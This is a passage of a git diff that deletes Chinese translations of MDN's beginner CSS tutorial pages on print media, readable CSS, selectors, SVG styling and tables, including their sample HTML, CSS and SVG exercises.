    -  counter-increment: page;
    -  }
    -
    -} /* end print only */
    -
    -
  4. -
  5. 在浏览器中查看文档,你会看到它使用的是默认样式。
  6. -
  7. 打印(或者打印预览)文档;样式表的适配规则开始起作用,同时会显示每个页面的页眉和页脚,如果浏览器支持记数器,页码也会被显示出来。 - - - - - - - -
    - - - - - - -
    - - - - - - -
    -
    Heading for paged media
    - -
    Section A
    - -
    This is the first section...
    - -
    Page: 1
    -
    -
    -
    - - - - - - -
    - - - - - - -
    -
    Heading for paged media
    - -
    Section B
    - -
    This is the second section...
    - -
    Page: 2
    -
    -
    -
    -
  8. -
- - - - - - - - -
挑战
把指定打印样式的规则转移到单独的CSS文件。 -

学习 {{CSSXref("@import")}} 了解如何将新的指定打印 CSS 文件引用到 style4.css 样式表里去。

- -

当鼠标放在标题时,改变颜色为蓝色。

-
- -

查看这些挑战的解决方案。

- -

接下来?

- -

如果你还是很难理解这个章节,或者你对它有一些意见或者建议,请在 讨论区 中不吝赐教。

- -

目前,本文所有的样式规则都可以在文件里面规定。这些规则及其值均是固定的。下面的篇章将会描述该如何使用程序语言 JavaScript 来动态地改变规则。

diff --git a/files/zh-cn/web/guide/css/getting_started/readable_css/index.html b/files/zh-cn/web/guide/css/getting_started/readable_css/index.html deleted file mode 100644 index 17553c5013..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/readable_css/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: 创建可读性良好的CSS -slug: Web/Guide/CSS/Getting_started/Readable_CSS -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}}这是CSS入门教程系列教程的第6部分; 本节讨论了CSS语言自身的样式及语法。你可以更改CSS示例文件的代码外观,来使其更具可读性。

- -

资料:创建可读性良好的 CSS

- -

你可以通过添加空白字符和注释来提高样式表的可读性。你也可以把不同的选择器放到一组中来,这样同一样式可以应用到这一组中。

- -

空白字符

- -

空白字符是指空格、tab字符和换行。你可以通过添加这些空白字符来提高样式表的可读性。

- -

对页面而言,空白字符也是页面的一个组成部分,它的效果就是创造了边距、分割,还有行和列间的空白。

- -

如果你的样式表中一行只有一条规则,那这是使用空白字符最少的情况。但是,对于复杂的样式表而言,这可能不便于阅读,而且维护起来也比较困难。

- -

样式表的书写风格可以根据你自己的喜好来选择。但是,如果你开发的项目需要分享给他人,那就很有必要来制定一些书写规范。

- -
-
示例
- -

有人喜欢我们这里使用的紧凑的书写风格,但是如果规则较长的时候就需要来进行分割:

- -
.carrot {color: orange; text-decoration: underline; font-style: italic;}
-
- -

也有人喜欢下面这种每行只写一个属性-值的风格:

- -
.carrot
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-
- -

还有人喜欢缩进(两个空格、四个空格,或者tab键是最常用的方式):

- -
.carrot {
-  color: orange;
-  text-decoration: underline;
-  font-style: italic;
-}
-
- -

还有人喜欢这种垂直对齐的方式(这种方式比较难维护):

- -
.carrot
-    {
-    color           : orange;
-    text-decoration : underline;
-    font-style      : italic;
-    }
-
- -

有些人混合使用空白字符来提高可读性:

- -
.vegetable         { color: green; min-height:  5px; min-width:  5px }
-.vegetable.carrot  { color: orange;    height: 90px;     width: 10px }
-.vegetable.spinach { color: darkgreen; height: 30px;     width: 30px }
-
-
- -

而且,在使用的空白字符的时候,有人喜欢用tab键,有人喜欢使用空格。

- -

注释

- -

CSS注释以/* 开始,以 */结束。

- -

你可以在样式表中写些实际意义的注释,也可以是为了测试的目的而写的临时性的注释内容。

- -

对于样式表中的注释内容一定要写在注释标签内,这样浏览器在解析的时候会忽略注释。一定要注意注释的起始标签。样式表的其他部分始终要符合语法规则。

- -
-
示例
- -
/* style for initial letter C in first paragraph */
-.carrot {
-  color:            orange;
-  text-decoration:  underline;
-  font-style:       italic;
-  }
-
-
- -

选取器组

- -

当很多元素具有相同的样式时,你就需要定义一个选择器组,组内用逗号分隔。这样声明的样式就会应用到组内所有的选择器上。

- -

在样式表的其他地方,你也可以单独对这些选择器重新设置样式,这些样式会应用到相应的选择器上。

- -
-
示例
- -

这条规则将 {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, 和 {{ HTMLElement("h3") }} 匹配到的元素设置为相同颜色。

- -

将定义颜色的规则写在一个地方是正确的,因为有些时候,这个颜色值可能需要统一修改。

- -
/* color for headings */
-h1, h2, h3 {color: navy;}
-
-
- -

实践:添加注释来提高展现力

- -
    -
  1. 编辑你的样式表,将下面的几条规则添加进去(规则顺序可以任意设置): -
    strong {color: red;}
    -.carrot {color: orange;}
    -.spinach {color: green;}
    -#first {font-style: italic;}
    -p {color: blue;}
    -
    -
  2. -
  3. 为了让代码变得可读性更高,你需要通过分析其中的联系来对代码重新排序,并选择你认为最合适的方式来添加一些空白字符和注释。
  4. -
  5. 保存文件并刷新浏览器页面,要确保你更改后代码不影响原来的显示效果: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  6. -
- -
-
挑战
- -

将你的样式表中的部分内容改为注释,以使文档的第一个字母颜色变为红色,但是注意不要改变其他任何内容:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

(这个不止一种解决方案。)

- -
-
一种解决方法:
-其中一种解决办法就是给.carrot添加注释: - -
.carrot {
-  color: orange;
-}
-
-A more specific selector, p#second also works. Hide solution
-查看解决方案
- -

接下来是什么?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式") }} 本节中,你的示例样式使用了 italic 文本以及 underlined 文本。 下一节将描述更多的方式来 详细指定文本的外观 。

diff --git a/files/zh-cn/web/guide/css/getting_started/selectors/index.html b/files/zh-cn/web/guide/css/getting_started/selectors/index.html deleted file mode 100644 index 69f0700b19..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/selectors/index.html +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: 选择器 -slug: Web/Guide/CSS/Getting_started/Selectors -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承")}}这是 CSS入门教程 的第五节; 本节将讲述如何应用样式;不同的选择器有不同的优先级;你在样例文档中为标签增加一些属性,在样式中使用这些属性。

- -

资料: 选择器(Selectors)

- -

CSS有一套用于描述其语言的术语。在前面的教程中,你应该已经写过这个样式:

- -
strong {
-  color: red;
-}
-
- -

在CSS的术语中,上面这段代码被称为一条规则(rule)。这条规则以选择器strong开始,它选择要在DOM中哪些元素上使用这条规则。

- -
-
更多细节
- -

花括号中的部分称为声明(declaration)

- -

关键字color是一个属性red 是其对应的值.

- -

同一个声明中的 属性和值组成一个名值对(property-value pairs),名值对用分号分隔.

- -

这个教程中将类似strong的选择器称为标签选择器(tag selector).CSS规范中称之为类型选择器(type selector).

-
- -

本节将介绍更多的选择器。

- -

除了标签名称,你还可以在选择器中使用属性值。这样你就可以更具体的描述你的规则.

- -

其中 class 和 id 两个属性具有比较重要的地位。

- -

类选择器(Class selectors)

- -

通过设置元素的 class 属性,可以为元素指定类名。类名由开发者自己指定。 文档中的多个元素可以拥有同一个类名。

- -

在写样式表时,类选择器是以英文句号(.)开头的。

- -

ID选择器(ID selectors)

- -

通过设置元素的 id 属性为该元素制定ID。ID名由开发者指定。每个ID在文档中必须是唯一的。

- -

在写样式表时,ID选择器是以#开头的。

- -
-
例:
-下面的p标签同时具有 class 属性和id 属性: - -
<p class="key" id="principal">
-
- -

id 属性值 principal必须在文档中是唯一的;但文档中的其他标签可以有和p相同的 class 属性值 key.

- -

在一个CSS样式表中, 下面的规则将使所有class属性等于key的元素文字颜色呈现绿色。(这些元素不一定都是 {{ HTMLElement("p") }} 元素。)

- -
.key {
-  color: green;
-}
-
- -

下面的规则将使 id 等于 principal 的那个元素的文字变为粗体:

- -
#principal {
-  font-weight: bolder;
-}
-
-
- -

如果多于一个规则指定了相同的属性值都应用到一个元素上,CSS规定拥有更高确定度的选择器优先级更高。ID选择器比类选择器更具确定度, 而类选择器比标签选择器(tag selector)更具确定度。

- -
-
更多细节
- -

你也可以将多个选择器组合起来构成更确定的选择器。

- -

比如,选择器.key 选中所有class属性为 key的元素. 选择器 p.key 选中所有class属性为key的{{ HTMLElement("p") }} 元素。

- -

除了class 和 id,你还可以用方括号的形式指定其他属性。比如,选择器 [type='button'] 选中所有 type 属性为 button 的元素。

-
- -

如果样式中包含冲突的规则,且它们具有相同的确定度。那么,后出现的规则优先级高。

- -

如果你遇到规则冲突,你可以增加其中一条的确定度或将之移到后面以使它具有更高优先级。

- -

伪类选择器(Pseudo-classes selectors)

- -

CSS伪类(pseudo-class)是加在选择器后面的用来指定元素状态的关键字。比如,{{ Cssxref(":hover") }} 会在鼠标悬停在选中元素上时应用相应的样式。

- -

伪类和伪元素(pseudo-elements)不仅可以让你为符合某种文档树结构的元素指定样式,还可以为符合某些外部条件的元素指定样式:浏览历史(比如是否访问过 ({{ cssxref(":visited") }}), 内容状态(如 {{ cssxref(":checked") }} ), 鼠标位置 (如{{ cssxref(":hover") }}). 完整列表参见 CSS3 Selectors working spec.

- -
-
语法
- -
selector:pseudo-class {
-  property: value;
-}
-
-
- -

伪类列表

- -
    -
  • {{ Cssxref(":link") }}
  • -
  • {{ Cssxref(":visited") }}
  • -
  • {{ Cssxref(":active") }}
  • -
  • {{ Cssxref(":hover") }}
  • -
  • {{ Cssxref(":focus") }}
  • -
  • {{ Cssxref(":first-child") }}
  • -
  • {{ Cssxref(":nth-child") }}
  • -
  • {{ Cssxref(":nth-last-child") }}
  • -
  • {{ Cssxref(":nth-of-type") }}
  • -
  • {{ Cssxref(":first-of-type") }}
  • -
  • {{ Cssxref(":last-of-type") }}
  • -
  • {{ Cssxref(":empty") }}
  • -
  • {{ Cssxref(":target") }}
  • -
  • {{ Cssxref(":checked") }}
  • -
  • {{ Cssxref(":enabled") }}
  • -
  • {{ Cssxref(":disabled") }}
  • -
- -

资料: 基于关系的选择器

- -

CSS还有多种基于元素关系的选择器。通过它们你可以更精确的选择元素。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
常见的基于关系的选择器
选择器选择的元素
A E元素A的任一后代元素E (后代节点指A的子节点,子节点的子节点,以此类推)
A > E元素A的任一子元素E(也就是直系后代)
E:first-child任一是其父母结点的第一个子节点的元素E
B + E元素B的任一下一个兄弟元素E
B ~ EB元素后面的拥有共同父元素的兄弟元素E
- -

你可以任意组合以表达更复杂的关系。

- -

你还可以使用星号(*)来表示”任意元素“。

- -
-
- -

一个HTML表格有id 属性,但是它的行和单元格没有单独的id:

- -
<table id="data-table-1">
-...
-<tr>
-<td>Prefix</td>
-<td>0001</td>
-<td>default</td>
-</tr>
-...
-
- -

下面的规则使表格每行的第一个单元格字体为粗体,使第二个单元格使用等宽字体。这条规则只影响id为data-table-1的表格:

- -
    #data-table-1 td:first-child {font-weight: bolder;}
-    #data-table-1 td:first-child + td {font-family: monospace;}
-
- -

最终效果:

- - - - - - - -
- - - - - - - - -
Prefix0001default
-
-
- -
-
更多细节
- -

一般情况下,如果你提高了某个选择器的的确定度,你便提高它的优先级。

- -

使用这个技巧,可以避免为大量标签指定 class 或 id 属性。CSS(引擎)会帮你做的。

- -

在复杂设计中速度非常重要,避免使用复杂的依赖元素关系的规则可以使你的样式更有效率。

- -

更多关于表格的例子,见 Tables

-
- -

实例: 使用类选择器和ID选择器

- -
    -
  1. 创建一个HTML文件
  2. -
  3. 将下面内容拷贝到HTML文件中 -
    <!doctype html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p id="first">
    -      <strong class="carrot">C</strong>ascading
    -      <strong class="spinach">S</strong>tyle
    -      <strong class="spinach">S</strong>heets
    -    </p>
    -    <p id="second">
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  4. -
  5. 创建style1.css: -
    strong { color: red; }
    -.carrot { color: orange; }
    -.spinach { color: green; }
    -#first { font-style: italic; }
    -
    -
  6. -
  7. 保存文件,在浏览器中查看效果: - - - - - - - - - -
    Cascading Style Sheets //此处应为斜体
    Cascading Style Sheets
    - -

    重新组织样式中规则的顺序,你会发现改变这几条规则的顺序不会影响最终效果。

    - -

    类选择器 .carrot.spinach 比标签选择器 strong 拥有更高优先级。

    - -

    ID 选择器 #first 比类选择器和标签选择器更优先。

    -
  8. -
- -
-
挑战
- -
    -
  1. 不改变HTML内容, 增加一条规则,不改变首字母颜色,将第二个p标签中的其他文字变成蓝色: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  2. -
  3. 现在改变上面增加的那条规则(不改变其他任何内容)让第一个p标签中的其他文字也变成蓝色: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  4. -
- -
-
Possible solution
- -
    -
  1. Add a rule with an ID selector of #second and a declaration color: blue;, as shown below: - -
    #second { color: blue; }
    -
    - A more specific selector, p#second also works.
  2. -
  3. Change the selector of the new rule to be a tag selector using p: -
    p { color: blue; }
    -
    -
  4. -
-Hide solution
-See a solution for the challenge.
- -

实例: 使用伪类选择器

- -
    -
  1. 创建如下 HTML: -
    <!doctype html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p>Go to our <a class="homepage" href="http://www.example.com/" title="Home page">Home page</a>.</p>
    -  </body>
    -</html>
    -
    -
  2. -
  3. 编辑CSS: -
    a.homepage:link, a.homepage:visited {
    -  padding: 1px 10px 1px 10px;
    -  color: #fff;
    -  background: #555;
    -  border-radius: 3px;
    -  border: 1px outset rgba(50,50,50,.5);
    -  font-family: georgia, serif;
    -  font-size: 14px;
    -  font-style: italic;
    -  text-decoration: none;
    -}
    -
    -a.homepage:hover, a.homepage:focus, a.homepage:active {
    -  background-color: #666;
    -}
    -
    -
  4. -
  5. 保存文件用浏览器查看HTML文件 (将鼠标放到链接上查看效果): - - - - - - -
    Go to our Home page  
    -
  6. -
- -

实例: 使用基于关系的选择器和伪类选择器

- -

通过使用基于关系的选择器和伪类选择器,你可以构造出复杂的叠加算法。这是一个常用的技巧,比如可以用来创建纯CSS无JavaScript的下拉菜单(pure-CSS dropdown menus)。关键点就是创建下面这类规则:

- -
div.menu-bar ul ul {
-  display: none;
-}
-
-div.menu-bar li:hover > ul {
-  display: block;
-}
- -

然后将这些规则应用到下面的HTML结构中:

- -
<div class="menu-bar">
-  <ul>
-    <li>
-      <a href="example.html">Menu</a>
-      <ul>
-        <li>
-          <a href="example.html">Link</a>
-        </li>
-        <li>
-          <a class="menu-nav" href="example.html">Submenu</a>
-          <ul>
-            <li>
-              <a class="menu-nav" href="example.html">Submenu</a>
-              <ul>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-                <li><a href="example.html">Link</a></li>
-              </ul>
-            </li>
-            <li><a href="example.html">Link</a></li>
-          </ul>
-        </li>
-      </ul>
-    </li>
-  </ul>
-</div>
-
- -

学习实例 CSS-based dropdown menu example.

- -

接下来是什么?

- -

你的样式表变得多而复杂。下面章节将讲述如何让样式表更 易读.{{nextPage("/zh-CN/docs/CSS/开始/Readable_CSS", "易读的 CSS")}}

diff --git a/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html b/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html deleted file mode 100644 index f2e753baca..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: SVG and CSS -slug: Web/Guide/CSS/Getting_started/SVG_and_CSS -translation_of: Web/SVG/Tutorial/SVG_and_CSS ---- -
- {{CSSTutorialTOC}}
-

本节将演示如何将CSS应用到 SVG 中。

-

你将创建一个简单的演示代码并在支持SVG的浏览器中运行。

-

这是 CSS 教程 第二部分的第二节
- 前一节: JavaScript
- 下一节: XML data

-

信息: SVG

-

SVG (Scalable Vector Graphics)是一个基于XML的图形描述语言。

-

它可以用于描述静态图、动画,以及用户界面。

-

和其他基于XML的语言一样,SVG 支持用 CSS 样式表将图形内容和图形样式分离。

-

在样式表中你可以在任何可以可以指定图片的地方指定一个SVG的URL。比如,在HTML的样式表中,你可以为 background 属性指定一个SVG的URL。

- - - - - - - -
- 更多细节
-

在这个教程编写的时间点(2011中旬),绝大多数现代浏览器都对SVG有基本的支持。其中包括 Internet Explorer 9 及其后续版本。一些SVG特性只被某些浏览器支持。参见 SVG tables on caniuse.com 了解支持情况。 参见 SVG element reference 了解兼容情况。

-

通过安装 Adobe 提供的插件,你可以让某些浏览器支持SVG。

-

欲在Mozilla了解更多关于SVG的信息,参考 这里SVG

-
-

实例: 一个SVG演示

-

建立一个SVG文件doc8.svg。复制下面所有内容:

-
<?xml version="1.0" standalone="no"?>
-
-<?xml-stylesheet type="text/css" href="style8.css"?>
-
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-
-<svg width="600px" height="600px" viewBox="-300 -300 600 600"
-  xmlns="http://www.w3.org/2000/svg" version="1.1"
-  xmlns:xlink="http://www.w3.org/1999/xlink">
-
-<title>SVG demonstration</title>
-<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
-
-<defs>
-  <g id="segment" class="segment">
-    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
-    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
-    </g>
-  <g id="quadrant">
-    <use xlink:href="#segment"/>
-    <use xlink:href="#segment" transform="rotate(18)"/>
-    <use xlink:href="#segment" transform="rotate(36)"/>
-    <use xlink:href="#segment" transform="rotate(54)"/>
-    <use xlink:href="#segment" transform="rotate(72)"/>
-    </g>
-  <g id="petals">
-    <use xlink:href="#quadrant"/>
-    <use xlink:href="#quadrant" transform="rotate(90)"/>
-    <use xlink:href="#quadrant" transform="rotate(180)"/>
-    <use xlink:href="#quadrant" transform="rotate(270)"/>
-    </g>
-  <radialGradient id="fade" cx="0" cy="0" r="200"
-      gradientUnits="userSpaceOnUse">
-    <stop id="fade-stop-1" offset="33%"/>
-    <stop id="fade-stop-2" offset="95%"/>
-    </radialGradient>
-  </defs>
-
-<text id="heading" x="-280" y="-270">
-  SVG demonstration</text>
-<text  id="caption" x="-280" y="-250">
-  Move your mouse pointer over the flower.</text>
-
-<g id="flower">
-  <circle id="overlay" cx="0" cy="0" r="200"
-    stroke="none" fill="url(#fade)"/>
-  <use id="outer-petals" xlink:href="#petals"/>
-  <use id="inner-petals" xlink:href="#petals"
-    transform="rotate(9) scale(0.33)"/>
-  </g>
-
-</svg>
-
-

创建一个CSS文件, style8.css。 复制下面所有内容:

-
/*** SVG demonstration ***/
-
-/* page */
-svg {
-  background-color: beige;
-  }
-
-#heading {
-  font-size: 24px;
-  font-weight: bold;
-  }
-
-#caption {
-  font-size: 12px;
-  }
-
-/* flower */
-#flower:hover {
-  cursor: crosshair;
-  }
-
-/* gradient */
-#fade-stop-1 {
-  stop-color: blue;
-  }
-
-#fade-stop-2 {
-  stop-color: white;
-  }
-
-/* outer petals */
-#outer-petals {
-  opacity: .75;
-  }
-
-#outer-petals .segment-fill {
-  fill: azure;
-  stroke: lightsteelblue;
-  stroke-width: 1;
-  }
-
-#outer-petals .segment-edge {
-  fill: none;
-  stroke: deepskyblue;
-  stroke-width: 3;
-  }
-
-#outer-petals .segment:hover > .segment-fill {
-  fill: plum;
-  stroke: none;
-  }
-
-#outer-petals .segment:hover > .segment-edge {
-  stroke: slateblue;
-  }
-
-/* inner petals */
-#inner-petals .segment-fill {
-  fill: yellow;
-  stroke: yellowgreen;
-  stroke-width: 1;
-  }
-
-#inner-petals .segment-edge {
-  fill: none;
-  stroke: yellowgreen;
-  stroke-width: 9;
-  }
-
-#inner-petals .segment:hover > .segment-fill {
-  fill: darkseagreen;
-  stroke: none;
-  }
-
-#inner-petals .segment:hover > .segment-edge {
-  stroke: green;
-  }
-
-

在支持SVG的浏览器中打开上面的文档。将鼠标移到图上。

-

由于这个wiki不支持嵌入SVG,所以下面是一个截图供参考:

- - - - - - -
SVG demonstration
-

解释:

-
    -
  • 这个SVG文档使用常见连接方法引入样式表。
  • -
  • SVG有自己一套CSS属性和对应的值。其中一些和HTML使用的CSS属性相似。
  • -
- - - - - - - -
- 挑战
修改样式表使得当鼠标指针移到任何一个内层花瓣上时所有内层花瓣都变为粉色,但不改变外层花瓣的效果。
-

接下来?

-

如果你有任何疑问或评论请移步到讨论区

-

在这个演示中,支持SVG的浏览器知道如何显示SVG元素。样式表只是修改其呈现的方式。同样,这对HTML和XUL文档也是适用的。你也可以将CSS用于XML文档。(与HTML相比,)XML没有预先为元素定义样式。下一个节将对此进行演示: XML data

diff --git a/files/zh-cn/web/guide/css/getting_started/tables/index.html b/files/zh-cn/web/guide/css/getting_started/tables/index.html deleted file mode 100644 index b6b4859e99..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/tables/index.html +++ /dev/null @@ -1,509 +0,0 @@ ---- -title: 表格 -slug: Web/Guide/CSS/Getting_started/Tables -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables ---- -

{{CSSTutorialTOC}}{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局")}}

- -

这是CSS入门教程的第13部分,将介绍更多高级的选择器,以及格式表格的一些特定方法。你将创建一个包含表格的新样例文档,然后对它进行样式排版。

- -

信息: 表格

- -

表格是一个矩形网格中的信息安排。一些表格相当复杂,不同的浏览器对复杂的表格将会有不同的展示结果。

- -

当你设计你的文档时,使用一个表格来表示一系列信息的关系。因为信息的意义依然清晰,所以不同浏览器用稍微不同的方式来展示表格是没有关系的。

- -

创建表格的时候,不要用一些非常规的方式构造特殊的可视化布局,本教程的前一页(布局)使用的技术可以更好的达成目的。

- -

表格结构

- -

在表格中,信息显示在一个个的单元格cell)中.

- -

在页面横向上一条直线的单元格构成了row)。

- -

在一些表格中,行可能被分组。表格开始的特定的行组是表头header)。表格最后的特定行组是表尾footer)。表格中主要的行就是表体body),这些表体也可能被分组。

- -

在页面纵向上一条直线的单元格构成了column),但是在CSS表格中,列的使用是受限的。

- -
-
示例
- -

选择器那章的基于关系的选择器就是一个五行十个单元格的表格。

- -

第一行是表头,其余四行是表体,没有表尾。

- -

表中有两列。

-
- -

本教程仅仅涵盖简单表格,其呈现结果完全可以预测。在一个简单表格里,每个单元格仅占用一行一列。你可以用CSS将一个单元格扩展到多行或者多列来构造复杂表格,但是这样的表格已超出了这个基本教程所讲述的范围。

- -

边框

- -

单元格没有外边距。

- -

但是单元格有边框和内边距。默认情况下,边框被表格的{{cssxref("border-spacing")}}属性值间隔。你也可以通过设置表格的{{cssxref("border-collapse")}}属性值为collapse来完全移除间隔。

- -
-
示例
- -

这有三个表格。

- -

左边的表格有0.5 em的边框间隔,中间的表格是0边框间隔,右边的表格是拥有collapse的边框。

- -
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
- - - - - - - - - - - - -
ClubsHearts
DiamondsSpades
- - - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
- -

标题

- -

{{HTMLElement("caption")}}元素是用在整个表格的一个标签。默认下,它显示在表格的顶部。

- -

可以设置{{HTMLElement("caption")}}的{{cssxref("caption-side")}}属性值为bottom来将标签移到表格的底部。

- -

想要样式化caption的文本,可以使用任何常规的文本属性。

- -
-
示例
- -

这个表格有一个在底部的标题。

- -
#demo-table > caption {
-  caption-side: bottom;
-  font-style: italic;
-  text-align: right;
-}
-
- - - - - - - -
- - - - - - - -
Suits
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
-
-
- -

空单元格

- -

你可以通过为表格元素指定{{cssxref("empty-cells")}}属性值show来显示空单元格(就是其边框和背景)。

- -

你也可以指定empty-cells: hide;来隐藏边框和背景,那么如果一个单元格的父元素设置了背景,背景将通过空单元格显示出来。

- -
-
实例
- -

这些表格有苍绿色的背景,其单元格有苍灰色的背景和深灰色的边框。

- -

左边的表格,空单元格是显示的。在右边,空单元格是隐藏的。

- - - - - - - - -
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
-
- -
-
细节
- -

请查看CSS规范中的表格来获得更多关于表格的细节信息。

- -

规范中有比该教程更进一步的信息,但它不包括浏览器可能会影响复杂表格之间的差异。

-
- -

实例: 设计表格样式

- -
    -
  1. 创建一个新的HTML文档, doc3.html。 复制粘贴以下内容,请确保通过滚动获取全部内容: - -
    -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <title>Sample document 3</title>
    -    <link rel="stylesheet" href="style3.css">
    -  </head>
    -  <body>
    -    <table id="demo-table">
    -      <caption>Oceans</caption>
    -      <thead>
    -        <tr>
    -          <th></th>
    -          <th>Area</th>
    -          <th>Mean depth</th>
    -        </tr>
    -        <tr>
    -          <th></th>
    -          <th>million km<sup>2</sup></th>
    -          <th>m</th>
    -        </tr>
    -      </thead>
    -      <tbody>
    -        <tr>
    -          <th>Arctic</th>
    -          <td>13,000</td>
    -          <td>1,200</td>
    -        </tr>
    -        <tr>
    -          <th>Atlantic</th>
    -          <td>87,000</td>
    -          <td>3,900</td>
    -        </tr>
    -        <tr>
    -          <th>Pacific</th>
    -          <td>180,000</td>
    -          <td>4,000</td>
    -        </tr>
    -        <tr>
    -          <th>Indian</th>
    -          <td>75,000</td>
    -          <td>3,900</td>
    -        </tr>
    -        <tr>
    -          <th>Southern</th>
    -          <td>20,000</td>
    -          <td>4,500</td>
    -        </tr>
    -      </tbody>
    -      <tfoot>
    -        <tr>
    -          <th>Total</th>
    -          <td>361,000</td>
    -          <td></td>
    -        </tr>
    -        <tr>
    -          <th>Mean</th>
    -          <td>72,000</td>
    -          <td>3,800</td>
    -        </tr>
    -      </tfoot>
    -    </table>
    -  </body>
    -</html>
    -
    -
    -
  2. -
  3. 创建一个新的样式表 style3.css。复制粘贴一些内容,通过滚动获取全部内容: -
    /*** Style for doc3.html (Tables) ***/
    -
    -#demo-table {
    -  font: 100% sans-serif;
    -  background-color: #efe;
    -  border-collapse: collapse;
    -  empty-cells: show;
    -  border: 1px solid #7a7;
    -}
    -
    -#demo-table > caption {
    -  text-align: left;
    -  font-weight: bold;
    -  font-size: 200%;
    -  border-bottom: .2em solid #4ca;
    -  margin-bottom: .5em;
    -}
    -
    -
    -/* basic shared rules */
    -#demo-table th,
    -#demo-table td {
    -  text-align: right;
    -  padding-right: .5em;
    -}
    -
    -#demo-table th {
    -  font-weight: bold;
    -  padding-left: .5em;
    -}
    -
    -
    -/* header */
    -#demo-table > thead > tr:first-child > th {
    -  text-align: center;
    -  color: blue;
    -}
    -
    -#demo-table > thead > tr + tr > th {
    -  font-style: italic;
    -  color: gray;
    -}
    -
    -/* fix size of superscript */
    -#demo-table sup {
    -  font-size: 75%;
    -}
    -
    -/* body */
    -#demo-table td {
    -  background-color: #cef;
    -  padding:.5em .5em .5em 3em;
    -}
    -
    -#demo-table tbody th:after {
    -  content: ":";
    -}
    -
    -
    -/* footer */
    -#demo-table tfoot {
    -  font-weight: bold;
    -}
    -
    -#demo-table tfoot th {
    -  color: blue;
    -}
    -
    -#demo-table tfoot th:after {
    -  content: ":";
    -}
    -
    -#demo-table > tfoot td {
    -  background-color: #cee;
    -}
    -
    -#demo-table > tfoot > tr:first-child td {
    -  border-top: .2em solid #7a7;
    -}
    -
    -
  4. -
  5. 在浏览器打开文档,它将看起来像下面一样: - - - - - - -
    -
    -

    Oceans

    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
     AreaMean depth
     million km2m
    Arctic:13,0001,200
    Atlantic:87,0003,900
    Pacific:180,0004,000
    Indian:75,0003,900
    Southern:20,0004,500
    Total:361,000 
    Mean:72,0003,800
    -
    -
    -
    -
  6. -
  7. 对比样式表里显示表格的规则来确保你理解每一条规则的效果。如果你发现你不明白某一条,注释掉,然后刷新浏览器来看看发生什么。下面是关于该表格一些注意事项: -
      -
    • 标题是放在表格边框的外面的;
    • -
    • 如果你在可选项中设置了最小点尺寸,它可能会影响km2这样的上标;
    • -
    • 有三个空单元格,其中两个显示了表格的背景色,第三个有单元格自己的背景和上边框;
    • -
    • 冒号是通过样式表来添加的。
    • -
    -
  8. -
- -
-
挑战
- -

更改样式表来使表格像下面一样显示:

- - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 AreaMean depth
 million km2m
Arctic:13,0001,200
Atlantic:87,0003,900
Pacific:180,0004,000
Indian:75,0003,900
Southern:20,0004,500
Total:361,000 
Mean:72,0003,800
-
- -

Oceans

-
-
-
- -

查看挑战的答案。

- -

接下来?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Media", "媒体")}}这是本教程关于CSS属性和值的最后一页。请查看CSS规范中的完全属性表来获得完整的属性和值的信息。

- -

下一页将再次着眼于CSS样式表的目的和结构。

-
